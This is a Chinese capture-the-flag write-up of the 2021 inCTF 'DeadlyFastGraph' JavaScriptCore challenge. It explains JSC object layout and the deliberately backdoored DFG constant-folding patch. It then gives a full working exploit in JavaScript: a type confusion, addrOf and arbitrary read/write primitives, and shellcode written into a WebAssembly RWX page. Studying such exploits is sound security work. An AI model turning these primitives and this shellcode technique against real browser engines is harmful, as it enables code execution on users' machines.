2021-inCTF-DeadlyFastGraph

2021 inCTF 比赛时未能做出来的题目,jsc 引擎的利用,回过头发现其实很简单,显然这是一道入门级的 jsc 题目,学到了学到了,参照下官方的 wp 了解一下 jsc 的漏洞利用

题目环境

题目源码以及附件:
https://github.com/teambi0s/InCTFi/tree/master/2021/Pwn/DeadlyFastGraph

题目远程环境是 ubuntu 18.04,本人复现时使用了 ubuntu 20.04

因为 patch 还把一些调试有用的 describe 函数给去掉了,所以还是自己修改编译一份便于调试:

git clone https://github.com/WebKit/WebKit.git
cd WebKit
git checkout c40e806df2c49dac3049825cf48251a230296c6e
patch -p1 < dfg.patch
vim Source/JavaScriptCore/jsc.cpp # <-- 把 patch 的注释去掉
Tools/Scripts/build-webkit --jsc-only --debug
cd WebKitBuild/Debug/bin

./jsc --useConcurrentJIT=false

WebKit

既然是入门,当然得先了解下 WebKit 的知识,虽然写的是 WebKit,但实际上本文章关注的是 WebKit 中的 JS 引擎,这个 JS 引擎指的是 WebKit 默认的 JavaScriptCore(jsc),而对于 chrome 来说,它的 JS 引擎是 v8

JSC

借用一张图来描述 JSC 如何执行 js 代码:
jsc

和 v8 类似,JSC 也有 JIT,有三种优化:

  1. BaseLine JIT:函数调用 6 次及以上,或者代码循环超过 100 次触发;编译成中间代码
  2. DFG JIT:函数调用 60 次及以上,或者代码循环超过 1000 次触发;基于控制流图分析的优化器,这一点和 v8 的 Turbofan 比较相似,编译成机器码
  3. FIL JIT:函数调用上千次或代码循环数万次才会触发,优化更细致,比较复杂

题目的 patch 引发的问题是 DFG 层面的,熟悉 v8 的话,这方面还是比较好理解的

JSObject

再借用一张图如下:
jsobject

一个 js 对象在内存中的布局如上图左侧所示,图中的 butterflyIndexingMask 在我的环境中不存在,通过查看最新版 WebKit 源码,也没有发现这个字段,也不知道这东西哪来的,猜测是特殊的 JSObject 才有这个字段或者说这个字段已经被移除了(仅个人猜测,欢迎有了解的大佬指正

一个 js 对象主要有以下内容:

  • +0x0: JSCell 最低两个字节是 StructureID,用于查找 Structure,这个东西相当于 v8 的 Map,用来确定属性的偏移位置等
  • +0x8:butterfly,相当于 v8 的 elements,用来存储属性和数组内容
  • +0x10:从这个偏移往后存储内联属性的内容

图中右侧反映了 butterfly 的存储方式,可以看到,数组索引 i 的内容对应于 [butterfly + i*8],而属性 x (假设是第一个属性)的存储在 [butterfly - 0x10],而 [butterfly - 8] 的存储了数组长度和大小

例如:var obj1 = [1.5];
obj1

添加一个属性:obj1.a = 5.5;
obj1.a

可以看到动态添加了一个属性后,StructureID 和 butterfly 都发生了改变,而且这个属性是存储在 butterfly - 0x10 前面的,不过图中看,这个值并不是准确的 5.5,这个是因为存储属性的地方,存的值都是 JSValue,是 boxed 值,存入的时候要经过编码(box),取出使用要经过解码(unbox)才能得到真实的值

根据最新版 WebKit 源码的 Source/JavaScriptCore/runtime/JSCJSValue.h 文件里有这么几行注释(参考链接的那个比较旧了,新版包括题目的版本 double 是从 0002 开始的):

* The top 15-bits denote the type of the encoded JSValue:
     *
     *     Pointer {  0000:PPPP:PPPP:PPPP
     *              / 0002:****:****:****
     *     Double  {         ...
     *              \ FFFC:****:****:****
     *     Integer {  FFFE:0000:IIII:IIII
     *
...
     * 32-bit signed integers are marked with the 16-bit tag 0xFFFE.
     *
     * The tag 0x0000 denotes a pointer, or another form of tagged immediate. Boolean,
     * null and undefined values are represented by specific, invalid pointer values:
     *
     *     False:     0x06
     *     True:      0x07
     *     Undefined: 0x0a
     *     Null:      0x02

注意:指针的值 box 和 unbox 时一样的

手动进行 unbox 之后,发现值正确了:
jsvalue

还有内联属性的情况也看一看:var obj2 = {a: 1.1, b:2.2},创建对象的时候指定的属性都是内联属性了,存储在 butterfly 指针后面的内存区域,同样这些值都是 boxed 的:
obj2

数组索引的值呢,有时候是 boxed 的 有时候是 unboxed 的,在 obj1 中这个数组可以发现,值都是 unboxed 的,也就是不需要解码操作,同时可以发现这个数组的类型标记为了 CopyOnWriteArrayWithDouble
arraytype1

再看看另一种情况:var obj3 = [1, 2.2, {}, undefined];
arraytype2
obj3

可以看到 butterfly 里存的都是 boxed 的值,同时这个数组标记为 ArrayWithContiguous

除了 CopyOnWriteArrayWithDouble,还有 CopyWriteArrayWithInt32,像 xxxArrayWithInt32 的是以 unboxed 形式存储的,ArrayWithContiguous 这种就是存的值不是只有一种,只能通过编码来区分了,所以不难理解存的是 boxed 的值

这种机制和 v8 的也很类似,v8 通过最低 bit 来区分对象指针和 Smi,ArrayWithContiguous 相当于 PACKED_ELEMENTS,像 double 值 v8 则通过 HeapNumber 对象来存储,同时利用最低 bit 来区分对象和 Smi

漏洞分析

完整的 patch 如下:

diff --git a/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp b/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
index eaeaf85ea2..a395a979b8 100644
--- a/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
+++ b/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
@@ -41,6 +41,8 @@
 #include "PutByIdStatus.h"
 #include "StructureCache.h"
 
+bool backdoorUsed = false;
+
 namespace JSC { namespace DFG {
 
 class ConstantFoldingPhase : public Phase {
@@ -185,7 +187,8 @@ private:
                             indexInBlock, SpecNone, AssertNotEmpty, node->origin, Edge(node->child1().node(), UntypedUse));
                     }
                 }
-                if (value.m_structure.isSubsetOf(set)) {
+                if (!backdoorUsed || value.m_structure.isSubsetOf(set)) {
+                    backdoorUsed = true;
                     m_interpreter.execute(indexInBlock); // Catch the fact that we may filter on cell.
                     node->remove(m_graph);
                     eliminated = true;
diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index 04f2c970c2..4b7d3ca6cc 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -516,7 +516,8 @@ private:
     {
         Base::finishCreation(vm);
         JSC_TO_STRING_TAG_WITHOUT_TRANSITION();
-
+        addFunction(vm, "print", functionPrintStdOut, 1);
+        /*
         addFunction(vm, "debug", functionDebug, 1);
         addFunction(vm, "describe", functionDescribe, 1);
         addFunction(vm, "describeArray", functionDescribeArray, 1);
@@ -671,7 +672,7 @@ private:
         addFunction(vm, "asDoubleNumber", functionAsDoubleNumber, 1);
 
         addFunction(vm, "dropAllLocks", functionDropAllLocks, 1);
-
+        */
         if (Options::exposeCustomSettersOnGlobalObjectForTesting()) {
             {
                 CustomGetterSetter* custom = CustomGetterSetter::create(vm, nullptr, testCustomAccessorSetter);

patch 给 ConstantFoldingPhase.cpp 的一处 if 条件判断添加了必定通过条件的一次机会,同时将大量辅助函数给注释掉了(因为调试要使用 debug 等函数,建议自行修改编译)

这处 patch 使得可以有一次机会无条件消除 CheckStructure 结点,这相当于在 v8 中的 CheckMaps,显然,针对某一对象操作优化后的代码,会对运行时的实际对象进行 Check,如果对象的类型不符合,则进行解优化,如果 CheckStructure 随意的被消除,那么就能造成类型混淆

构造 poc 如下:

var a1 = {a:1.1, b:1.2, c:1.3};
var a2 = {a:1.1, b:1.2};

function foo(obj, value) {
        obj.c = value;
}

debug(describe(a1));
debug(describe(a2));

print(1); // for debug

for (let i = 0; i < 100; i++) {
        foo(a1, 0x2333);
}

foo(a2, 0x2333);

print(2); // for debug

因为 jsc 没有像 v8 那样的 %SystemBreak 函数来下断点,这里就用 print 函数来做断点,调试命令如下:

set args --useConcurrentJIT=false poc.js
b functionPrintStdOut
r

查看内存分布:
poc before dfg

继续运行,经过 DFG 优化后,对于 a1 对象,属性 c 在 +0x20 偏移处,而因为类型混淆,将 a2 对象当成 a1 对象的类型对属性 c 写入值,导致 a2 对象 +0x20 处被改写成 0x2333 的 boxed 值:
poc after dfg

这张图片的内存地址和前一张不一致是因为,第一次运行忘记截图了,后来补的

漏洞利用

有了类型混淆,后面的利用其实和 v8 差不多,类型混淆 -> 泄露地址 -> 任意地址读写 -> wasm shellcode

这里对 poc 进行修改一下:

var a1 = {a:1.1, b:2.2, c:3.3, d:4.4};
var a2 = {a:1.1, b:2.2};
var a3 = {a:1.1, b:2.2, 0:3.3, 1:4.4};
var a4 = {a:1.1, b:2.2, 0:3.3, 1:4.4};

function foo(obj, value) {
        obj.d = value;
}

for (let i = 0; i < 100; i++) {
        foo(a1, a4);
}

foo(a2, a4);  // a3 --> butterfly = addrOf(a4)

可以思考一下,经过类型混淆后,往 a2 对象的 +0x10 + 0x20 处写入 a4 对象的地址,这个位置是什么呢?

a2 和 a3 对象内存上是紧邻的,a2 有两个内联属性,占用 0x10 个字节的空间,再往后就是 a3 的 JSCell 字段和 butterfly 字段,那么这个 poc 的目的就是将 a3 的 butterfly 指针修改成 a4 对象的地址

注意:经过测试,对象的地址貌似都是 16 字节对齐的,构造紧邻的对象要注意内存对齐产生的空隙

那么这之后,a3[1] 就指向了 a4 的 butterfly 字段了,可以修改这个对象进行任意地址读写,同时 a3[2] 就指向了 a4 的第一个内联属性,也就是属性 a,可以进行类型混淆泄露地址

addrOf

利用 a3[2]a4.a 进行任意对象地址泄露

function addrOf(obj) {
	a4.a = obj;
	return f2i(a3[2]);
}

注意:因为 a3 对象创建的时候,0,1 下标都是 double 数值,那么它的类型必定被初始化为 xxxWithDouble,那么存取数组的值的时候都是 unboxed 的,那么就不用考虑编码问题了

ARW

利用 a3[1] 修改 a4 的 butterfly 字段即可进行任意地址读写,但是要注意的是地址 -8 偏移处对应的是数组长度和空间大小,不能为 0

function arbRead(addr) { // ((*(addr - 8)) >> 32) > 0
	a3[1] = i2f(addr);  // <-- butterfly
	return f2i(a4[0]);
}

function arbWrite(addr, value) { // ((*(addr - 8)) >> 32) > 0
	a3[1] = i2f(addr);
	a4[0] = i2f(value);
}

shellcode

jsc 和 v8 一样,wasm 同样使用 rwx 权限的段来存放运行的机器码,先找出这个 rwx 权限的地址:

let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule, {});
let func = wasmInstance.exports.main;

debug(describe(f));

在 funtion 对象 +0x38 偏移处发现这个地址:
rwx

这个地址并不是 rwx 段的起始地址,但这确实是这个 wasm 函数对象的调用的地址,幸运的是,-8 偏移处填满了 0xcc,完全符合任意读写的条件:
rwx

接下来写入 shellcode:

let func_addr = addrOf(func);
let rwx_addr = arbRead(func_addr + 0x38n);
var sc_arr = [
    0x10101010101b848n,    0x62792eb848500101n,    0x431480101626d60n,    0x2f7273752fb84824n,
    0x48e78948506e6962n,    0x1010101010101b8n,    0x6d606279b8485001n,    0x2404314801010162n,
    0x1485e086a56f631n,    0x313b68e6894856e6n,    0x101012434810101n,    0x4c50534944b84801n,
    0x6a52d231503d5941n,    0x894852e201485a08n,    0x50f583b6ae2n,
];

a3[1] = i2f(rwx_addr);
for (let i = 0; i < sc_arr.length; i++) {
	a4[i] = i2f(sc_arr[i]);
}

func(); // pwn!

shellcode 效果是弹计算器:
pwn

exp

完整 exp 如下:

// utils ------
let [f2i, i2f] = (() => {
	let buf = new ArrayBuffer(0x10);
	let floatArr = new Float64Array(buf);
	let intArr = new BigUint64Array(buf);
	
	let f2i = (v) => {floatArr[0] = v; return intArr[0];};
	let i2f = (v) => {intArr[0] = v; return floatArr[0];};
	
	return [f2i, i2f];
	
})();

function getWasm() {
	let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

	let wasmModule = new WebAssembly.Module(wasmCode);
	let wasmInstance = new WebAssembly.Instance(wasmModule, {});
	let f = wasmInstance.exports.main;
	
	return [wasmInstance, f];
};

// ------

var a1 = {a:1.1, b:2.2, c:3.3, d:4.4};
var a2 = {a:1.1, b:2.2};
var a3 = {a:1.1, b:2.2, 0:3.3, 1:4.4};
var a4 = {a:1.1, b:2.2, 0:3.3, 1:4.4};

function foo(obj, value) {
	obj.d = value;
}

for (let i = 0; i < 100; i++) {
	foo(a1, a4);
}


// debug(describe(a2));
// debug(describe(a3));
// debug(describe(a4));

foo(a2, a4);  // a3 --> butterfly = addrOf(a4)

// print(1.1);

function addrOf(obj) {
	a4.a = obj;
	return f2i(a3[2]);
}

function arbRead(addr) { // ((*(addr - 8)) >> 32) > 0
	a3[1] = i2f(addr);  // <-- butterfly
	return f2i(a4[0]);
}

function arbWrite(addr, value) { // ((*(addr - 8)) >> 32) > 0
	a3[1] = i2f(addr);
	a4[0] = i2f(value);
}

/*
let test_obj = {};
let test_addr = addrOf(test_obj) - 0x38n;
debug(describe(test_obj));
debug(`test_addr = 0x${test_addr.toString(16)}`);
let value = arbRead(test_addr);
debug(`value = 0x${value.toString(16)}`);
*/


let [instance, func] = getWasm();
//debug(describe(func));
let func_addr = addrOf(func);
print(`func_addr = 0x${func_addr.toString(16)}`);
let rwx_addr = arbRead(func_addr + 0x38n);
print(`rwx_addr = 0x${rwx_addr.toString(16)}`);

var sc_arr = [
    0x10101010101b848n,    0x62792eb848500101n,    0x431480101626d60n,    0x2f7273752fb84824n,
    0x48e78948506e6962n,    0x1010101010101b8n,    0x6d606279b8485001n,    0x2404314801010162n,
    0x1485e086a56f631n,    0x313b68e6894856e6n,    0x101012434810101n,    0x4c50534944b84801n,
    0x6a52d231503d5941n,    0x894852e201485a08n,    0x50f583b6ae2n,
];

a3[1] = i2f(rwx_addr);
for (let i = 0; i < sc_arr.length; i++) {
	a4[i] = i2f(sc_arr[i]);
}

//print(1.1);
func();

参考